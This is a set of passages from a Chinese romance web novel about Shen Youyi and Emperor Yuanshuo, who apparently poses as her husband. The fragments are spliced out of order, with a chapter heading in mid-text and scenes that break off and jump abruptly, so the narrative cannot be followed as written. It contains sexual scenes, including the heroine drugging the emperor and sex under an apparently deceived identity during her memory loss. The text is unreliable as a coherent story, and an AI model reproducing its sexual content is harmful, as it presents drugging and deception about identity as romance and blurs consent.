这一点还算说得通,秦妈妈也说在这里未婚夫妻不能相见,可沈幼宜感受得到未婚夫的冷淡,回到国公府的他很少像以前那样给她寄书信传情,即便有也不过是只言片语。 犯人是生是死只在圣上一句话,家眷们只能知道犯人的死活,不能入内探视,这条规矩她早就知晓了。 而且,镇国公府宠遇正隆,她丈夫的兄长又贤名在外,听闻为人自持,处事老成,总不会似她家一般,顷刻间家破人亡。 她摸了摸枕边,虽有人躺过的痕迹,可是半点余温也无,疑惑道:“二郎出去练武了?” 红麝略有些为难,小声道:“奴婢一早过来时就没见姑爷,不过倒遇上来送膳的婆子,说是郎君有公务在身,一早便出去了,要晚些才能回来,怕您面皮薄,不好意思向厨房要东西,让人将饭食送到院子里给您,现在饭菜都在侧间温着,奴婢让人给娘子送来。” 从前家里只有一间两明一暗的上房及几个侧间,沈幼宜和红麝两个人操持家务还有些吃力,更不要说嫁到府里之后,她院中奴婢实在不足,即便拨了几个粗使的女婢过来,她要用人还是有几分为难。 沈幼宜绞着被角,心下难免焦躁,道:“这人真是的,他又不是大伯,还得每日去衙门坐半日理事,一早上有什么要紧事非出门不可,婆母是他母亲,不好和亲生子计较些什么,可我做新妇,在府里哪里能肆意妄为,他就这样把我撇下,让我一个人去请安?” 红麝忙道:“不过夫人也听说了,昨日娘子累了一天,是该好好歇歇,只让秦妈妈来取了元帕,说等二公子回来再请安奉茶不迟。” 沈幼宜并不开怀,她暗自埋怨她的郎君怎得如此粗枝大叶,知道体贴她饮食起居,却不懂家务事最是千丝万缕,她第一次见镇国公夫人时就有些不自在,她这位婆母看着虽貌美温和,不计较她的出身,可毕竟做贵人久了,看人时难免带着些倨傲审视的意味。 “母亲这样说,我怕是更不好做,也就是世子还没娶新妇,前面没有人比着,否则愈发显得我们夫妻礼数不周到了。” 她实在困惑,国朝律法里,就算是官员也可有三日婚假,这是理所应当的事情,她的丈夫不是还没得实授官职么,有大伯在,他的上司更不敢为难新郎才对。 不过也只是想想,沈幼宜并不太纠结此事,她想了想道:“夜里确实睡得有些不安稳,现在去了也有些迟,要是午膳前郎君还没回来,我先去给母亲侍膳,等二郎回来再一道请安。” 她给他用药的时候又不认识他,以他待后宫的脾性,怀疑他中年寡欲,采用些过激的手段很难原谅么! 堂堂天子,怎么能小气记仇成这样! 元朔帝理不直,气却壮,他抹去唇间那一点白,温和道:“宜娘不是不记得么,哪里来的孩子,咱们才是第一次见呢。” 他打量着这个误入莲池的小娘子,她生得丰腴,极有风情,玉容花貌,即便当真偶遇了他,他自忖也未必会放过这等绝色。 沈幼宜吃了那酒后不知餍足,一时福至心灵,她得顺着眼前这个男子才行,柔柔攀上他肩颈,却咬牙切齿地想着,哪一日她非要装一次,好生吓唬吓唬这个不要脸的老男人才解气。 “陛下多疼疼妾,宜娘还是初次呢,太子不要我了,我也不稀罕他。” 她是天生的妖精,只要不吝啬气力,有心配合着,稍动一动那如水的腰,便是神仙也难禁:“宜娘不想做太子妃了,宜娘要一步登天,想做陛下的皇后,把嫔妃们都比下去,您答不答应?” 无人摇橹的船只仍碾过寸寸荷田,舟动莲移,元朔帝压住这娇媚柔弱的少女,抵着她一回又一回,声音低哑:“宜娘,朕叫你快活么?” 他今日、明日……甚至是日后的每一天,有的是耐心同她样样试过,教她在这些地方快活得再也想不起别人来! 【终章】 第 87 章 第 87 章 沈幼宜含着泪点了点头,元朔帝亲了亲她的泪珠:“宜娘哭起来当真我见犹怜,是想起来什么了么?” 她不知所措,脑子混沌,软软地应了一声:“妾的病好像好多了,珩郎饶了妾罢。” 元朔帝笑了笑,温柔将她抱起来,两排荷盘摇晃,漾起碧绿波纹,沈幼宜的啜泣声忽而一顿,咬着牙抱住他静了许久,抬眼时却又是一番乞求神情。 这药果然不是一般的厉害,她长了记性,以后也不会给皇帝下药了! “宜娘的病好了,便先要扔掉郎中,忘恩负义,这可不是好习惯。” 元朔帝一手托住她,还有心握住船桨摇晃,他显然不是个出色的船夫,随便动了几下,便教沈幼宜不住挣扎,惊起一滩鸥鹭。 他仿佛是落难的水匪,不知从哪掳来个官家小姐玩弄,若有所思道:“这些时日朕见你明明很想的,原来宜娘还是受不住么?” 沈幼宜敢怒不敢言,软绵绵地咬着他一片衣角:“还不是陛下太厉害了,妾受不住呀。” 元朔帝含笑同她讨价还价:“那朕治好了宜娘的病,得有些诊金。” 当土匪头子和皇帝老子是同一个人的时候,沈幼宜很没骨气地就答应了,然而当那药效渐渐过去,她被折腾得实在不成,呜呜咽咽起来。 元朔帝捞起她的青丝,亲了亲她的眼睛:“宜娘欠着的还很多呢,不尽早还清,来日利滚利起来,你怎么受得了?” 她的目光都变得湿漉漉的,半睁开眼时,天地春色,尽在此中。 夏夜清凉,有蝉鸣的声音,月色溶溶,银白色的月光将那截不成样的艳色披帛都衬得清冷,沈幼宜想了想,她还不还得清似乎不大要紧,只是当下被欺负得厉害,吃得很撑:“陛下爱怎么要债,我都成。” 反正她还年轻,元朔帝也不会日日都这样折腾她罢? 元朔帝低声同她说了几句话,沈幼宜艰难吞咽了一下,确认道:“当真要在太极殿吗?” 她可以扮演勾引君王的小宫女,但是要在元朔帝御门听政、册立两宫的太极殿里? 然而她感受到元朔帝的兴致似乎还没完全消下去,只好继续听着。 天家公媳、猎户与狐狸……养尊处优的贵族娘子同野心勃勃的马奴,她回味那绵长余韵的时候,一个正经又古板的男子和颜悦色地同她商量最无耻的话,声音温和低沉,手掌却停留在她的腰间,力道适中地为她揉捏解乏。 她才承风接雨,哪里受得住这些温柔的爱抚,几乎被他迷得头晕,一股脑地答应下来,可再啄吻他刚毅的面容时,她深深叹了一口气。 要是她这个时候说,她喜欢的还是他那股道貌岸然的劲儿,不知道元朔帝会不会想在这打死她? 等她回到紫宸殿的时候,三皇子已经被乳母哄睡了,岁朝见贵妃是被圣上抱回来的,面色红润,却疲倦地合上了眼,只让侍女们为她更换被池水和花/汁沾污的罗裙,低声禀道:“午后国舅爷来殿中求见,略坐了半个时辰,见娘子迟迟不归,同咱们殿下说了几句话就先出宫去了。” 至于娶亲……元朔帝以为自己如今也无此意:“兄长连婚事都没定下,想这些实在过早。” 沈幼宜稍感诧异,她听说过夫君当年走失的事情,天灾人祸,怨不得世子,不需要他替谁多补偿什么,她蹙眉道:“世子似乎也不大容易,我听说大伯连家里都很少住的,母亲不替他着急?” 元朔帝心下微微一动,他身侧的大多数人都知镇国公世子如何年少成名,青云直上,艳羡非常者颇多,却少有人会想他有什么不易,温和道:“收了人家的礼,就肯替他说好话?” 这话说得平常,沈幼宜细品却像是吃醋似的,二郎不许她和旁的男子玩笑,时不时拈酸,忍不住窃笑,迎上夫君不解的目光,嗔道:“胡说什么,他还不要我管你的事情呢,好生严厉,我都不敢和他多说一句话的,这你怎么不问?” 元朔帝无奈,正要说些什么,见身前的人定定看向他,道:“我很喜欢世子送的首饰,可我只喜欢你呀,成日里疑神疑鬼不累么,我可舍不得你像他那样劳累,咱们每天都能像现在这样过日子还不好?” 他不知她怎么忽然说起这些甜言蜜语,心下一震,正不知该回应什么,却听她惊呼一声:“你怎么把手都割破了?” 沈幼宜本来没有注意到他的左手有异,可是他刚刚抱她起身,才止住不久的伤口重新溢出鲜血。 她想起小的时候母亲不小心被针刺破指尖,父亲都会含上一会儿,说是有止血的功效,郎君现在流出的血比针线活那点血宜多上不知多少,顾不得血味甜腥,连忙握住他受伤的食指拭血,送入口中。 本就是他自己弄出的伤口,元朔帝不甚在意,见她如临大敌一般惊慌,虽微微欢喜,却不适应她过分的热心,制止道:“擦药就好,仔细犯恶心。” 然而沈幼宜只当他害羞,她想起小兽受伤时为自己舔毛的动作,有样学样地舐了几下。 伤口的触觉比别处的肌肤更敏锐百倍,女郎的唇舌柔软,小心翼翼避开刀伤横口,仅在周围润泽,只是一瞬,血热难耐,他几乎平地而起,立刻靠近寸许,遮挡她可能飘来的视线。 元朔帝下意识按住她肩,多用了些力气。 她懵懵懂懂抬头,像是疑惑他的震惊,又舐了几下。 他不免记起腹部还有一道新伤……刚刚发力时想来也被牵动,可惜没有流血的迹象。 元朔帝垂下眼帘,她不能看到他的腰腹,会被吓坏的。 沈幼宜含了有一会儿,直到郎君的指尖不再流血,正要取出察看,他的手忽然抵住她的唇齿,更深了一分。 他身形高大,手指也较寻常男子更修长,她有些受不住时,也只刚没过他第二个指节。 沈幼宜不免想起夜里的事情,耳畔男子的呼吸都带了颤意,不再冷淡疏离,像是询问她的意思:“还受得住么?” 可她同意与否,他的手指已经伸进来了呀! 郎君回府后好像十分注重清洁,血气散尽后,她嗅到苏合香的气息。 苏合香有开窍醒神的功效,气味微辛,但她闻久了竟有些喘不过气。 红麝进来时只能看到姑爷宽阔的后背,娘子离他极近,低眉道:“姑爷,娘子,夫人那边传话过来,说是国公爷回府,请两位过去奉茶。” 沈幼宜如梦初醒,她慌张推开元朔帝,侧身看向窗外日影西沉,骤然“呀”了一声,捂住双颊:“怎么都到这个时辰了!” 元朔帝面色沉沉,他虽有正常男子的欲,却并非登徒子,尚能自抑忍耐。 可她不该这样活泼好奇的,无端惹人恼怒。十月的金陵仍在飘细细的雨,浸湿了满府红艳绸缎。 人潮退去,只剩沈幼宜坐在喜帐内,忐忑不安地等候夫君待客结束,与她行合卺礼。 沈幼宜动也动不得,走也走不脱,经了方才一遭,她是有些怕事的,只能羞怯地闭上眼睛,闷声道:“二郎,你是要审讯犯人么,做什么这样直勾勾盯人?” 她宽慰自己道,方才或许只是郎君初试,难免出差错,他们之间差得虽多,可彼此终究年轻,他留给她的余泽颇多,想来不会太痛的。 然而含羞带怯的亲昵并未引得夫君情迷,她察觉到他身躯微僵,像是被人兜头泼了一盆冷水般,只过了片刻,他缓缓起身,退了出去。 金戈初起,还未偃旗息鼓,他竟…… 元朔帝避开她讶然目光,声音沉缓:“今夜累你了,我先去沐浴,叫婢女为你擦一擦再睡罢。” 她不过是被人玷了些污秽在身,而他却十分狼狈,不好被她瞧见此时情状。 红麝被拿了巾帕入内时还有些疑惑,就连她一个女子,每每见了娘子纤秾合度的身形都忍不住多觑几眼,又是久别、又是新婚,不该这样快就唤她入内罢? 可房内只留下眼眉微饧的娘子一人,她又不得不信,小心问道:“姑爷从前待娘子不是一日不见,如隔三秋么,怎得现下就沐浴去了?” 是我真心喜欢他呢,还是阿耶阿兄瞧中了的人? 沈幼宜抬起头,年少的记忆逐渐清晰,镜中的美人面容却模糊起来。 珠泪滚落,污了新匀的脂粉,却是笑着的。 或许阿兄偶然看到了它,以为总有一日能在他们的婚典上将这本写满少女幼稚心思的日记交付给她,然而却未能如愿。 元朔帝自后扶住她的双肩,他的声音沉稳柔和,似云雾外的一束光,穿破重重的愁思:“大好的日子,宜娘怎么哭了?” 沈幼宜摇头,小声提了一个请求,虽然他们并非新人,可封后的当晚,皇后抛下皇帝独身去写日记,也是一件极荒谬的事情。 所幸,她的丈夫从来都是耐心的人,并不计较她的幼稚与固执。 元朔帝不急于同她一时之欢,见她捧了一本札记看得出神,俯身啄了一下她的额头:“宜娘总有许多新奇想法。” 书房内,墨已经有侍女磨好了,她提笔时不再煎熬纠结,却比平日迟疑了更久。 “宜娘,你如今过得仍然顺心。” “你今年已经二十有二,有了真心疼爱你的丈夫和一个孩子。” “他生得很俊,待你很好很好,尽管经历了许多事情,你气恼他,怨恨他,可也真心喜欢他,要是将来又失去记忆,瞧见这篇日记也不要惊讶。” “我想来想去,不必写那么多告诉你,我这七年来的风雨,我一点也不担心,若真有那一日,陛下还是会叫我爱上他的,哪怕他有一日满头白发,不复今日英姿,还是会喜欢他。” 她合上这薄薄的一本,这已是这本札记最后一页了。 当年她写满这个本子之后,可能幻想过,很长一段时间后打开它的惊喜,可实际上她将这本子锁在闺房后,或许就被哪个玩伴邀去同游,将这一点对兄长的控诉抛诸脑后。 沈幼宜将它珍而重之地放在一方盛满香料的盒里,轻轻锁好。 元朔帝同她商议过,百年之后,要效法古代君王薄葬。 人死如灯灭,她生前享受过无边富贵就够了,对那些穷奢极欲的陪葬品没什么想法,但是却想将很多有趣的东西携在两人身边。 即便几百年后会被哪个盗墓贼窃走,她也不会因旁人窥见这一段百转千肠的少女心事而羞耻。 她爱陛下,即便失忆千遍万遍,她也还是会爱他一千遍一万遍。 这是她最想公之于后世的秘密,可这其中的过程却不想给他瞧见一分一毫。 反正他已经知道结果了,不是么?